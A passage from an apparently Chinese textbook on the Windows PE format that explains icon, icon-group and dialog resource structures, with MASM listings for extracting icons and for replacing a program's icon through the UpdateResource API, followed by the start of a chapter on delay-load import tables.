db ? ;保留字，必须为0 wPlanes dw ? ;调色板 wBitCount dw ? ;每个像素的位数 dwBytesInRes dd ? ;资源长度 dwImageOffset dd ? ;资源在文件偏移 ICON_DIR_ENTRY ENDS ICON_DIR_ENTRY结构记录了每一个图标的尺寸、色深、图标资源占用的字节数。dwImageOffset是一个文件偏移地址，指向图标资源数据起始位置。PE文件中的图标保存格式与\".ico\"文件中图标的保存格式略有不同。PE文件中，把ICON_DIR和图标资源作为两种资源类型分别保存，前者是RT_GROUP_ICON类型，后者是RT_ICON类型。 在\".ico\"文件中，ICON_DIR_ENTRY结构最后一个成员dwImageOffset表示图标资源文件偏移地址，是一个双字；而在PE文件中，GRP_ICON_DIR_ENTRY结构最后一个成员nID是一个字，表示图标的索引ID。图7-6是ICO文件大致结构图。 图 7-6 ICO文件结构 如图7-6所示，ICO文件分为三部分：图标头、图标项和图标数据。这三部分在PE文件中会被重新组合，其中，图标头会被重新组合为资源类型RT_GROUP_ICON，图标项和图标数据则被组合为资源类型RT_ICON。三部分间关系如图所示，图标头的idcount字段定义ICO里图标的个数；每个图标的属性由图标项定义；图标项的字段dwImageOffset则指向了ICO文件中该图标数据的位置。 2.图标资源定位 从PEInfo中查到PE.exe程序的图标资源的位置和大小分别是： 文件位置：0x00000b60 图标资源大小：744字节 3.图标资源数据提取 使用PEDump将该位置的数据提取出来，字节码显示如下： 以上所列字节码是从PE.exe文件中提取的图标数据的一部分。这部分数据的资源类型被定义为RT_ICON，对应图7-6中的图标数据。 注意 这些字节码并不包含图7-6中的图标头和图标项两部分。如前所述，以上数据只是main.ico的一部分。 4.main.ico数据 为了将PE中的图标资源数据与原始的main.ico文件内容进行比对，以下获取了main.ico文件的部分字节码： 黑体部分即为资源表中的图标数据。可以看出，PE中的图标数据是直接从图标文件中复数过来的，未做任何修改。 5.字节码解析 main.ico文件开头的38字节为ICO头（图7-6中图标头和图标项两部分），其内容如下。 （1）图标头 （2）第一个图标项定义 （3）第二个图标项定义 有了以上信息，开发者就可以通过PE资源表中的资源数据块提取所有的图标为自己所用了。"},
    {"text": "7.4.5 图标组资源解析 7.4.5 图标组资源解析 为什么\"pe.rc\"脚本文件里只定义了三种资源，在PEInfo中却显示四种资源（多了一个图标组）？为什么我们只用了一个图标main.ico文件，在PEInfo中却显示有两个图标资源？通过对ICO文件的了解相信大家能够找到答案。 PE里的图标组资源RT_GROUP_ICON的数据来源于ICO文件的头部，但与ICO文件头部内容并不完全一致。它记录了某个图标具有相似性的一系列图片数据的基本信息，这些基本信息包括：相似图片数量及每个图片的宽、高、颜色数、在图标资源（RT_ICON）里的编号等。如果没有图标组资源，系统就无法识别在图标资源里哪些编号的图片数据是属于一个系列的（即相似图片）。 1.图标组资源定位 从PEInfo中可以定位到PE.exe文件中图标组的地址和大小，图标组其实就是ICO文件的文件头描述。只是其中一个字段的解释和值略有不同而已。 在文件中的偏移地址：0x00000F70 图标组资源大小：34字节 2.图标组资源数据提取 使用PEDump获取图标组资源的数据如下： 与ICO文件头比较发现，每一个图标项除了最后一个字段的值不一样外，其他基本就是上一节字节码解析部分解释过的图标头+图标项的数据。粗体部分数据为图标的ID标识。 以下是文件main.ico中对应的值。 可以看到，在PE资源表中图标的ID标识值（一个字）到了文件中就变成了两个字，其含义也更改为对应图标数据的偏移地址。"},
    {"text": "7.4.6 对话框资源解析 7.4.6 对话框资源解析 1.对话框资源定位 根据PEInfo分析，获取PE.exe对话框资源所在文件位置和大小如下： 在文件偏移地址：0x00000f98 对话框资源大小：122字节 2.对话框资源提取 使用PEDump获取字节码，内容如下： 3.对话框资源数据结构 对话框的头是一个DialogBoxHeader结构，其详细定义如下： DialogBoxHeader STRUCT lStyle dd ? ;标准窗口样式 lExtendedStyle dd ? ;扩展窗口样式 NumberofItems dw ? ;控件数量 x dw ? ;起点坐标x y dw ? ;起点坐标y cx dw ? ;宽度 cy dw ? ;高度 [名称或序数] menuName ;菜单名或ID [名称或序数] ClassName ;类名或ID szCaption []dd ? ;对话框标题Unicode字符 wPointSize dw ? ;字体大小（如果有） szFontName []dd ? ;字体名（如果有） DialogBoxHeader ENDS lStyle项是一个标准窗口样式，由windows.inc文件中的标志组成。对话框的默认样式为： WS_POPUP|WS_BORDER|WS_SYSMENU lExtendedStyle项用来指定扩展窗口样式。当在DIALOG语句或其他可设置的语句中指定了扩展样式，那么它们的值就会被存储在这个双字字段中。菜单名和类名存储一个名称或一个序数ID；若第一个字为0xffff，则第二个字就是一个序数ID；如果第一个字为0x0000，则表示一个空字符串。 wPointSize和szFontName项仅当对话框中包含FONT语句时才会设置。可以通过检查lStyle项确定对话框是否包含字体设置。若lStyle＆DS_SETFONT(DS_SETFONT=0x40)为真，则这两项就会被设置。 注意 每个控件都由一个数据结构开始，每个控件的数据开始于一个双字，同样以双字对齐方式结束，所以两个控件中间可能会存在填充用的数据。 以下是每个控件开始的数据结构ControlData的定义： ControlData STRUCT lStyle dd ? ;标准窗口样式 lExtendedStyle dd ? ;扩展窗口样式 x dw ? ;左上角坐标x y dw ? ;左上角坐标y cx dw ? ;控件长度 cy dw ? ;控件宽度 wID dw ? ;控件ID [名称或序数]ClassID ;控件类型 [名称或序数]Text ;控件类型名称 nExtraStuff dw ? ;附加信息 ControlData ENDS 与前面一样，lStyle项是一个标准窗口样式，由windows.h文件中的标志组成。控件的类型由class指定。为节省空间、加速处理，许多通用Windows类型都以一个单字表示。由于Unicode中0x8000是一个合法字符，类型序数必须前置0xffff，和前面讲到的Type和Name域的序数表示方式相似。常用classID的值列表如下： #define BUTTON 0x8000 #define EDIT 0x8100 #define STATIC 0x8200 #define LISTBOX 0x8300 #define SCROLLBAR 0x8400 #define COMBOBOX 0x8500 lExtendedStyle双字用来指定此控件的扩展样式。扩展样式标志置于CONTROL语句的最后，跟在坐标后面。控件数据最后的附加信息当前并不使用，但将来可能会被用来存储菜单项信息，通常它的长度为0。对话框脚本中使用的绝大多数语句都被映射为这些类型（包括它们的样式），这些样式的值可以在windows.h中找到。所有对话框控件都有默认的WS_CHILD和WS_VISIBLE样式。表7-4为脚本语句使用的默认样式。 控件文本存储在上面介绍的“名称或序数”字段中。 4.字节码解析 第一部分：对话框定义。 控件二进制字节码分析如下： 对话框标题栏文字为“PE文件基本信息by qixiaorui”，对应资源脚本文件定义中的语句： 第二部分，控件定义。 类名。Unicode字符串。控件的名称\"RichEdit20A\"。对应资源脚本文件中的以下部分： 5.PE2.exe对话框资源解析 因为PE.exe对话框资源中只存在一个控件，相对简单。大家可以自行分析一下PE2.exe中的对话框资源。在分析时请注意资源的双字对齐补足部分，以下是分析用到的相关资料： PE2的资源脚本文件中有关对话框定义的部分如下： #include＜resource.h＞ #define ICO_MAIN 1000 #define DLG_MAIN 1000 #define IDC_INFO 1001 #define IDM_MAIN 2000 #define IDM_OPEN 2001 #define IDM_EXIT 2002 #define IDM_1 4000 #define IDM_2 4001 #define IDM_3 4002 #define IDM_4 4003 #define ID_TEXT 3000 #define ID_CONSOLE 3001 ICO_MAIN ICON\"main.ico\" DLG_MAIN DIALOG 50,50,544,399 STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU CAPTION\"PE文件基本信息by qixiaorui\" MENU IDM_MAIN FONT 9,\"宋体\" BEGIN CONTROL\"\",IDC_INFO,\"RichEdit20A\",196|ES_WANTRETURN|WS_CHILD|ES_READONLY |WS_VISIBLE|WS_BORDER|WS_VSCROLL|WS_TABSTOP,0,0,540,396 LTEXT\"请选择要执行的文件:\",-1,10,13,200,8 EDITTEXT ID_TEXT,90,10,300,14 CHECKBOX \"控制台程序\",ID_CONSOLE,10,30,100,14 END ...... 字节码的分析如下图所示，这些字段由读者自己分析。这里不再详细描述，其中[]是Unicode字符串。方框框起来的是为了对齐而补足的0x00。"},
    {"text": "7.5 资源表编程 7.5 资源表编程 本节将利用前面学习的对资源字节码的深度解析知识来提取图标。在正式编写程序之前，先来看一个实验。 7.5.1 更改图标实验 在\"PE.rc\"文件的基础上，再加入一个ICO文件，生成另外一个PEDumpIcon.rc，其资源脚本代码如下： #include＜resource.h＞ #define ICO_MAIN 1000 #define DLG_MAIN 1000 #define IDC_INFO 1001 #define IDM_MAIN 2000 #define IDM_OPEN 2001 #define IDM_EXIT 2002 #define IDM_1 4000 #define IDM_2 4001 #define IDM_3 4002 #define IDM_4 4003 ICO_MAIN ICON\"main.ico\" ICO_BOY ICON\"boy.ico\" DLG_MAIN DIALOG 50,50,544,399 复制pe.asm到文件PEDumpIcon.asm，然后编译链接PEDumpIcon.asm文件，发现生成的程序图标发生了变化，由原来的main.ico变成了boy.ico。使用PEInfo查看资源信息如下： 使用FlexHex打开PEDumpIcon.exe文件，只修改其中的一个字节。看看程序是否可以重新回到main.ico图标。在文件偏移位置0x002B02处，将原来的值03更改为01，然后回到文件夹，刷新一下，发现图标显示果然回到原来的main.ico。如图7-7所示。 图 7-7 将原来的值03更改为01程序图标的变化 如上图所示，图7-7a是未修改前PEDumpIcon.exe在操作系统中显示的图标，图7-7b是修改字节以后该程序在操作系统中显示的图标。 如果你感觉程序修改图标就这么简单，那就大错特错了，做任何事情都要知其然知其所以然。解读一下PEInfo显示的资源信息，你会发现，01号图标的数据长度和03号图标的数据长度刚好相等。这就是为什么我们直接修改一个字节就可以成功的原因。 如果图标对应的数据长度和03号图标的数据长度不相等会怎样呢？ 你可以自己尝试一下，将03的值修改为02，看看会出现什么情况。如图7-8所示。 图 7-8 将03的值修改为02程序图标的变化 如图所示，图7-8a是boy.ico的图标文件，在图标资源中的编号为01；图7-8b是main.ico的图标文件，在图标资源中的编号为03；图7-8c显示的是图标资源中编号为02的图标数据。修改之后好像也没有什么问题，系统只是将16×16的小图标放大到32×32显示。 如果更改为一个不存在的值会怎样呢？ 这和在窗口程序中不指定图标的效果，也就是说和PE资源表中不存在图标组的效果是一样的。将PEDumpIcon.exe文件0x002B02处的值更改为一个不存在的值（如05）的时候，操作系统会在显示时帮助你画出一个图标来当做该程序的图标，如图7-9所示。 图 7-9 将03的值修改为05程序图标的变化 如图所示，因为在PE资源中指定了一个不存在的图标，操作系统从PE的资源表中无法定位到该索引的图标，所以系统就帮你画了一个图标作为该程序的默认图标，如图7-9c所示。 掌握了更改程序图标的方法后，下面看一个提取程序图标的实例。"},
    {"text": "7.5.2 提取程序图标实例 7.5.2 提取程序图标实例 回顾图7-6，一个ICO文件由三大部分组成：第一部分是图标头，第二部分是图标项，第三部分为图标数据。"},
    {"text": "其中，对应到PE资源表中，第一部分和第二部分组合成图标组资源（某些值稍有变化，见7.4.5小节），第三部分的每个图标数据对应一个图标资源。"},
    {"text": "程序复制自PE.asm，更新的代码从函数_openFile开始，代码如下： ;显示资源表信息 invoke _getResource,@lpMemory,esi,@dwFileSize 函数_getResource完成了整个图标数据的提取工作，其实现如代码清单7-3所示。 代码清单7-3 获取PE文件的资源信息（chapter7\\PEDumpIcon.asm） 1 ;-------------------- 2 ;获取PE文件的资源信息 3 ;-------------------- 4 _getResource proc _lpFile,_lpPeHead,_dwSize 5 local @szBuffer [1024]:byte 6 pushad 7 ;通过PE头定位资源表所在RVA 8 mov esi,_lpPeHead 9 assume esi:ptr IMAGE_NT_HEADERS 10 mov eax,[esi].OptionalHeader.DataDirectory [8*2].VirtualAddress 11 .if!eax 12 invoke _appendInfo,addr szNoResource 13 jmp _ret 14 .endif 15 push eax 16 ;求资源表在文件的偏移 17 invoke _RVAToOffset,_lpFile,eax 18 add eax,_lpFile 19 mov esi,eax 20 pop eax 21 22 ;传入的两个参数分别表示 23 ;1、文件头位置 24 ;2、资源表位置 25 invoke _processRes,_lpFile,esi 26 _ret: 27 assume esi:nothing 28 popad 29 ret 30 _getResource endp 以上代码根据PE文件数据目录表中对资源表项的描述，得到资源表在文件中的位置，然后调用函数_processRes遍历资源表图标项，代码清单7-4是函数_processRes的源代码。 代码清单7-4 遍历资源表项的图标组资源的函数_processRes（chapter7\\peinfo.asm） 1 ;------------------------- 2 ;遍历资源表项的图标组资源 3 ;_lpFile：文件地址 4 ;_lpRes：资源表地址 5 ;------------------------- 6 _processRes proc _lpFile,_lpRes 7 local @szBuffer [1024]:byte 8 local @szResName [256]:byte 9 local @dwTemp1,@dwTemp2,@dwTemp3 10 11 12 pushad 13 14 mov dwICO,0 15 16 mov esi,_lpRes ;指向目录表 17 18 ;计算目录项的个数 19 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 20 mov cx,[esi].NumberOfNamedEntries 21 add cx,[esi].NumberOfIdEntries 22 movzx ecx,cx 23 24 ;跳过目录头定位到目录项 25 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 26 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 27 .while ecx＞0 28 29 ;查看IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData 30 mov ebx,[esi].OffsetToData 31 .if ebx＆80000000h ;如果最高位为1 32 and ebx,7fffffffh ;二级子目录 33 add ebx,_lpRes 34 mov eax,[esi].Name1 35 ;如果是按名称定义的资源类型，跳过 36 .if eax＆80000000h 37 jmp _next 38 .else ;如果是按编号定义的资源类型 39 40 ;第一层，eax指向了资源类别 41 .if eax == 0eh ;判断编号是否为图标组 42 43 ;移动到第二级目录 44 ;计算目录项的个数 45 mov esi,ebx 46 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 47 mov cx,[esi].NumberOfNamedEntries 48 add cx,[esi].NumberOfIdEntries 49 movzx ecx,cx 50 mov dwICO,ecx 51 52 invoke wsprintf,addr szBuffer,addr szOut10,\\ 53 dwICO 54 invoke _appendInfo,addr szBuffer 55 mov ecx,dwICO 56 57 ;跳过第二级目录头定位到第二级目录项 58 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 59 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 60 mov @dwTemp1,0 61 .while ecx＞0 62 push ecx 63 push esi 64 65 ;直接访问到数据，获取数据在文件的偏移及大小 66 add @dwTemp1,1 67 mov ebx,[esi].OffsetToData 68 .if ebx＆80000000h ;最高位为1 69 and ebx,7fffffffh 70 add ebx,_lpRes ;第三级 71 72 ;移动到第三级目录，假设目录项数量都为1 73 mov esi,ebx 74 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 75 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 76 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 77 78 ;地址指向数据项 79 mov ebx,[esi].OffsetToData 80 add ebx,_lpRes 81 82 assume ebx:ptr IMAGE_RESOURCE_DATA_ENTRY 83 mov eax,[ebx].OffsetToData 84 mov edx,[ebx].Size1 85 mov @dwTemp3,edx 86 invoke _RVAToOffset,_lpFile,eax 87 mov @dwTemp2,eax 88 invoke wsprintf,addr szBuffer,addr szLevel3,\\ 89 @dwTemp1,@dwTemp2,@dwTemp3 90 invoke _appendInfo,addr szBuffer 91 92 ;处理单个ICO文件 93 ;参数1：文件开始 94 ;参数2：资源表开始 95 ;参数3：PE ICO头开始 96 ;参数4：编号 97 ;参数5：PE ICO头大小 98 invoke _getIcoData,_lpFile,_lpRes,\\ 99 @dwTemp1,@dwTemp2,@dwTemp3 100 101 .endif 102 103 pop esi 104 pop ecx 105 add esi,sizeof IMAGE_RESOURCE_DIRECTORY_ENTRY 106 dec ecx 107 .endw 108 jmp _next 109 .else 110 jmp _next 111 .endif 112 113 .endif 114 .endif 115 _next: 116 add esi,sizeof IMAGE_RESOURCE_DIRECTORY_ENTRY 117 dec ecx 118 .endw 119 120 .if dwICO == 0 121 invoke _appendInfo,addr szNoIconArray 122 .endif 123 assume esi:nothing 124 assume ebx:nothing 125 popad 126 ret 127 _processRes endp 函数从根目录开始，根据从一级目录项的Name1字段获取的类别编号，判断是否存在图标组（值为14，即0eh）。"},
    {"text": "代码清单7-5 通过PE中对图标组资源的描述获取ICO数据（chapter7\\PEDumpIcon.asm） 1 ;------------------------------- 2 ;通过PE中对图标组资源的描述获取ICO数据 3 ; 4 ;参数1：文件开始 5 ;参数2：资源表开始 6 ;参数3：PE ICO头开始 7 ;参数4：编号（由此构造磁盘文件名g12.ico） 8 ;参数5：PE ICO头大小 9 ;------------------------------- 10 _getIcoData proc _lpFile,_lpRes,_number,_off,_size 11 local @dwTemp,@dwCount,@dwTemp1 12 local @lpMem,@dwForward 13 14 pushad 15 invoke wsprintf,addr szFileName1,addr szOut11,_number 16 invoke wsprintf,addr szBuffer,addr szFile,\\ 17 addr szFileName1 18 invoke _appendInfo,addr szBuffer 19 ;新建文件 20 invoke CreateFile,addr szFileName1,GENERIC_WRITE,\\ 21 FILE_SHARE_READ,\\ 22 0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 23 mov hFile,eax 24 25 26 ;定位文件指针 27 mov eax,_lpFile 28 add eax,_off 29 mov lpMemory,eax 30 mov @lpMem,eax 31 32 ;写入6字节文件头 33 invoke WriteFile,hFile,lpMemory,6,addr @dwTemp,NULL 34 35 ;求出图标组包含图标的个数 36 mov esi,dword ptr [lpMemory] 37 add esi,4 38 xor ecx,ecx 39 mov cx,word ptr [esi] 40 mov @dwCount,ecx 41 invoke wsprintf,addr szBuffer,addr szOut13,\\ 42 _number,@dwCount 43 invoke _appendInfo,addr szBuffer 44 45 ;求第一个图标数据在文件中的偏移 46 xor edx,edx 47 mov eax,@dwCount 48 mov cx,2 ;每一个记录多2字节 49 mul cx 50 add eax,_size 51 mov @dwForward,eax ;上一个 52 53 ;定位到ICO图标项起始 54 mov esi,dword ptr [lpMemory] 55 add esi,6 56 assume esi:ptr PE_ICON_DIR_ENTRY 57 mov dwIcoDataSize,0 58 59 mov eax,@dwCount 60 mov @dwTemp1,eax 61 .while @dwTemp1＞0 62 push esi 63 64 ;将PE中的大部分赋值，除最后一个字段外 65 mov al,[esi].bWidth 66 mov lpIconDE.bWidth,al 67 68 mov al,[esi].bHeight 69 mov lpIconDE.bHeight,al 70 71 mov al,[esi].bColorCount 72 mov lpIconDE.bColorCount,al 73 74 mov al,[esi].bReserved 75 mov lpIconDE.bReserved,al 76 77 mov ax,[esi].wPlanes 78 mov lpIconDE.wPlanes,ax 79 80 mov ax,[esi].wBitCount 81 mov lpIconDE.wBitCount,ax 82 83 mov eax,[esi].dwBytesInRes 84 mov lpIconDE.dwBytesInRes,eax 85 86 87 ;该值需要修正，记录图标数据在文件偏移 88 ;第一个图标的该值是文件ICO头大小 89 90 ;以后的图标的该值是上一个加上数据长度 91 mov eax,dwIcoDataSize 92 add @dwForward,eax 93 mov eax,@dwForward 94 mov lpIconDE.dwImageOffset,eax 95 96 97 invoke WriteFile,hFile,addr lpIconDE,\\ 98 sizeof ICON_DIR_ENTRY,addr @dwTemp,NULL 99 100 mov eax,[esi].dwBytesInRes ;为下一次计算地址做准备 101 mov dwIcoDataSize,eax 102 pop esi 103 add esi,sizeof PE_ICON_DIR_ENTRY 104 dec @dwTemp1 105 .endw ;该循环结束，所有的头部信息已经完毕 106 107 invoke _appendInfo,addr szICOHeader 108 109 ;开始下一个循环，将所有图标数据写入文件 110 mov esi,dword ptr [lpMemory] 111 add esi,6 112 assume esi:ptr PE_ICON_DIR_ENTRY 113 114 mov eax,@dwCount 115 mov @dwTemp1,eax 116 .while @dwTemp1＞0 117 push esi 118 119 xor eax,eax 120 mov ax,[esi].dwImageOffset ;取得图标的序号 121 122 ;写入文件图标数据 123 ;返回eax为图标数据大小 124 invoke _getFinnalData,_lpFile,_lpRes,eax 125 126 pop esi 127 add esi,sizeof PE_ICON_DIR_ENTRY 128 dec @dwTemp1 129 .endw ;该循环结束，所有的数据信息附加完毕 130 131 invoke CloseHandle,hFile 132 133 popad 134 135 ret 136 _getIcoData endp 代码32～33行完成了6字节ICO头的文件写入操作。"},
    {"text": "代码清单7-6 将图标数据写入文件（chapter7\\PEDumpIcon.asm） 1 ;------------------------------- 2 ;将图标数据写入文件 3 ; 4 ;参数_lpFile：文件内存起始地址 5 ;参数_lpRes:资源表起始地址 6 ;参数_nubmer：为图标序号 7 ;------------------------------- 8 _getFinnalData proc _lpFile,_lpRes,_number 9 local @ret,@dwTemp 10 local @szBuffer [1024]:byte 11 local @szResName [256]:byte 12 local @dwTemp1,@dwTemp2,@dwTemp3 13 local @lpMem 14 15 pushad 16 mov @ret,0 17 18 mov dwICO,0 19 20 mov esi,_lpRes ;指向第一级目录表 21 22 ;计算目录项的个数 23 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 24 mov cx,[esi].NumberOfNamedEntries 25 add cx,[esi].NumberOfIdEntries 26 movzx ecx,cx 27 28 ;跳过目录头定位到目录项 29 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 30 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 31 .while ecx＞0 32 33 ;查看IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData 34 mov ebx,[esi].OffsetToData 35 .if ebx＆80000000h ;如果最高位为1 36 and ebx,7fffffffh ;二级子目录 37 add ebx,_lpRes 38 mov eax,[esi].Name1 39 ;如果是按名称定义的资源类型，跳过 40 .if eax＆80000000h 41 jmp _next 42 .else ;如果是按编号定义的资源类型 43 44 ;第一层，eax指向了资源类别 45 .if eax == 03h ;判断编号是否为图标 46 47 ;移动到第二级目录 48 ;计算目录项的个数 49 mov esi,ebx 50 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 51 mov cx,[esi].NumberOfNamedEntries 52 add cx,[esi].NumberOfIdEntries 53 movzx ecx,cx 54 mov dwICO,ecx 55 56 mov ecx,dwICO 57 58 ;跳过第二级目录头定位到第二级目录项 59 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 60 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 61 62 mov @dwTemp1,0 63 .while ecx＞0 64 push ecx 65 push esi 66 67 ;直接访问到数据，获取数据在文件的偏移及大小 68 add @dwTemp1,1 69 70 ;判断序号是否和指定的一致 71 mov eax,_number 72 .if @dwTemp1!=eax 73 jmp _loop 74 .endif 75 76 ;如果一致，则继续查找数据 77 78 mov ebx,[esi].OffsetToData 79 .if ebx＆80000000h ;最高位为1 80 and ebx,7fffffffh 81 add ebx,_lpRes ;第三级 82 83 ;移动到第三级目录，假设目录项数量都为1 84 mov esi,ebx 85 assume esi:ptr IMAGE_RESOURCE_DIRECTORY 86 add esi,sizeof IMAGE_RESOURCE_DIRECTORY 87 assume esi:ptr IMAGE_RESOURCE_DIRECTORY_ENTRY 88 89 ;地址指向数据项 90 mov ebx,[esi].OffsetToData 91 add ebx,_lpRes 92 93 assume ebx:ptr IMAGE_RESOURCE_DATA_ENTRY 94 mov eax,[ebx].OffsetToData 95 mov edx,[ebx].Size1 96 mov @dwTemp3,edx 97 invoke _RVAToOffset,_lpFile,eax 98 mov @dwTemp2,eax 99 100 invoke wsprintf,addr szBuffer,addr szLevel31,\\ 101 @dwTemp1,@dwTemp2,@dwTemp3 102 invoke _appendInfo,addr szBuffer 103 104 mov eax,_lpFile 105 add eax,@dwTemp2 106 mov @lpMem,eax 107 108 ;将@dwTemp2开始的@dwTemp3字节写入文件 109 invoke WriteFile,hFile,@lpMem,\\ 110 @dwTemp3,addr @dwTemp,NULL 111 invoke _appendInfo,addr szFinished 112 113 pop esi 114 pop ecx 115 mov @ret,1 116 jmp _ret 117 .endif 118 119 _loop: pop esi 120 pop ecx 121 add esi,sizeof IMAGE_RESOURCE_DIRECTORY_ENTRY 122 dec ecx 123 .endw 124 jmp _next 125 .else 126 jmp _next 127 .endif 128 129 .endif 130 .endif 131 _next: 132 add esi,sizeof IMAGE_RESOURCE_DIRECTORY_ENTRY 133 dec ecx 134 .endw 135 136 .if dwICO == 0 137 invoke _appendInfo,addr szNoIconArray 138 .endif 139 _ret: 140 assume esi:nothing 141 assume ebx:nothing 142 popad 143 mov eax,@ret 144 ret 145 _getFinnalData endp 与定位图标组的方法一样，即判断第一级目录项中的Name1字段的值是什么，如果为4，则表示图标。"},
    {"text": "7.5.3 更改程序图标实例 7.5.3 更改程序图标实例 本小节学习如何更改程序的图标。因为通过直接修改PE资源文件实现图标的修改，涉及许多还没有讲过的知识，本实例将使用现有的Windows API函数来完成这个任务。 Windows操作系统为开发者提供了几个API函数，用来更新PE文件中资源的函数有：BeginUpdateResource、UpdateResource、EndUpdateResource。用来枚举PE文件中资源的函数有：EnumResourceTypes、EnumResourceNames、EnumResourceLanguages。具体的使用方法可以参见MSDN，以下将使用这些函数实现图标资源的替换。 本实例的目标是将指定PE程序显示的图标更改为boy.ico图标。这里还是从函数_openFile开始，不再对PE文件进行格式检测，而是直接处理，代码如代码清单7-7所示。 代码清单7-7 选择PE文件并处理的函数_openFile（chapter7\\PEUpdateIcon.asm） 调用函数_doUpdate写入PE图标boy.ico。先修改第一个图标组，然后再更新编号为1的图标数据，如代码清单7-8所示。 代码清单7-8 用指定ICO文件替换PE程序的图标（chapter7\\PEUpdateIcon.asm） 10 local @dwReserved:DWORD 11 local @nSize:DWORD 12 local @nGSize:DWORD 13 local @pIcon:DWORD 14 local @pGrpIcon:DWORD 15 local @hUpdate:DWORD 16 local @ret:DWORD 17 18 invoke CreateFile,_lpszFile,GENERIC_READ,\\ 19 NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL 20 mov @hFile,eax 21 .if eax == INVALID_HANDLE_VALUE 22 xor eax,eax 23 ret 24 .endif 25 26 invoke RtlZeroMemory,addr @stID,sizeof @stID 27 invoke ReadFile,@hFile,addr @stID,sizeof @stID,\\ 28 addr @dwReserved,NULL 29 invoke RtlZeroMemory,addr @stIDE,sizeof @stIDE 30 invoke ReadFile,@hFile,addr @stIDE,sizeof @stIDE,\\ 31 addr @dwReserved,NULL 32 33 push @stIDE.dwBytesInRes 34 pop @nSize 35 invoke GlobalAlloc,GPTR,@nSize 36 mov @pIcon,eax 37 invoke SetFilePointer,@hFile,@stIDE.dwImageOffset,\\ 38 NULL,FILE_BEGIN 39 invoke ReadFile,@hFile,@pIcon,@nSize,\\ 40 addr @dwReserved,NULL 41 42 .if eax == 0 43 jmp _ret 44 .endif 45 46 invoke RtlZeroMemory,addr @stGID,sizeof @stGID 47 push @stID.idCount 48 pop @stGID.idCount 49 mov @stGID.idReserved,0 50 mov @stGID.idType,1 51 invoke RtlMoveMemory,addr @stGID.idEntries,addr @stIDE,12 52 mov @stGID.idEntries.nID,0 53 mov @nGSize,sizeof @stGID 54 invoke GlobalAlloc,GPTR,@nGSize 55 mov @pGrpIcon,eax 56 invoke RtlMoveMemory,@pGrpIcon,addr @stGID,@nGSize 57 58 ;开始修改 59 invoke BeginUpdateResource,_lpszExeFile,FALSE 60 mov @hUpdate,eax 61 nop 62 invoke UpdateResource,@hUpdate,RT_GROUP_ICON,1,\\ 63 LANG_CHINESE,@pGrpIcon,@nGSize 64 invoke UpdateResource,@hUpdate,RT_ICON,1, 65 LANG_CHINESE,@pIcon,@nSize 66 mov @ret,eax 67 invoke EndUpdateResource,@hUpdate,FALSE 68 .if @ret == FALSE 69 invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 70 jmp _ret 71 .endif 72 73 mov eax,1 74 jmp _exit 75 _ret: 76 invoke GlobalFree,@pIcon 77 invoke CloseHandle,@hFile 78 xor eax,eax 79 _exit: 80 invoke CloseHandle,@hFile 81 ret 82 _doUpdate endp 如以上代码所示，18～24行打开指定的ICO文件，26～31行读取ICO文件的图标头和图标项内容分别存储在变量@stID和@stIDE中。46～56行通过读取的ICO文件的图标头和图标项生成PE文件的图标组资源数据。在这里要特别注意，从ICO文件到PE资源图标组数据的变化，即每个图标项的双字偏移地址要更改为单字的编号。行58～71通过调用相应的API函数实现PE程序的图标的替换。 7.6 小结 7.6 小结 本章着重介绍了PE中的资源表。PE中的资源表实际是一个四层的排序二叉树的典型应用。通过对资源表数据结构的解析，我们可以获得某个资源在文件中的位置及该资源数据块的大小，进一步获取该资源块。本章还针对常见的资源类型对资源块的字节码进行深度解析，让读者了解在资源脚本文件中，脚本与资源编译程序最终生成的资源数据块字节码之间存在一一对应的关系。"},
    {"text": "第8章 延迟加载导入表 第8章 延迟加载导入表 本章我们来学习延迟加载导入表（Delay Load Import Table）。延迟加载导入表是PE中引入的专门用来描述与动态链接库延迟加载相关的数据，因为这些数据所起的作用和结构与导入表数据基本一致，所以称为延迟加载导入表。 延迟加载导入表和导入表是相互分离的。一个PE文件中可以同时存在这两种数据，也可以单独存在一种。延迟加载导入表是一种特殊类型的导入表，同导入表一样，它记录了应用程序要导入的部分或全部动态链接库及相关的函数信息。与导入表不同的是，它所记录的这些动态链接库并不会被操作系统的PE加载器加载，只有等到由其登记的相关函数被应用程序调用时，PE中注册的延迟加载函数才会根据延迟加载导入表中对该函数的描述，动态加载相关链接库并修正函数的VA地址，实现对函数的调用。 在学习延迟加载导入表之前，我们来看一下延迟加载导入的机制及作用。 8.1 延迟加载导入的概念及其作用 延迟加载导入是一种合理利用进程加载机制提高进程加载效率的技术，使用延迟加载导入能跳过加载前对引入函数的检测及加载后对IAT的修正，从而避免出现诸如“无法找到组件”的错误提示，提高程序的适应性。 通过导入表部分的学习我们知道，一个应用程序要调用动态链接库的某个函数，需要先在程序中静态引入该动态链接库，编译器在编译时会分解调用该引入函数的invoke指令，并将其调用最终指向IAT。PE加载器要完成的任务就是根据导入表的描述，将IAT中的地址修正为函数在进程地址空间的真实地址VA，这样就能保证该函数被正确调用。 在以上描述中，程序要正确运行，必须保证该动态链接库能够在进程环境变量指定的PATH中找到，如果程序已经开始运行，无论指令指针寄存器eip是否指向调用引入函数的指令，如果此时相应的DLL文件还未出现在路径中，就会导致错误出现，系统会提示如图8-1所示的信息。 图 8-1 找不到动态链接库的错误提示 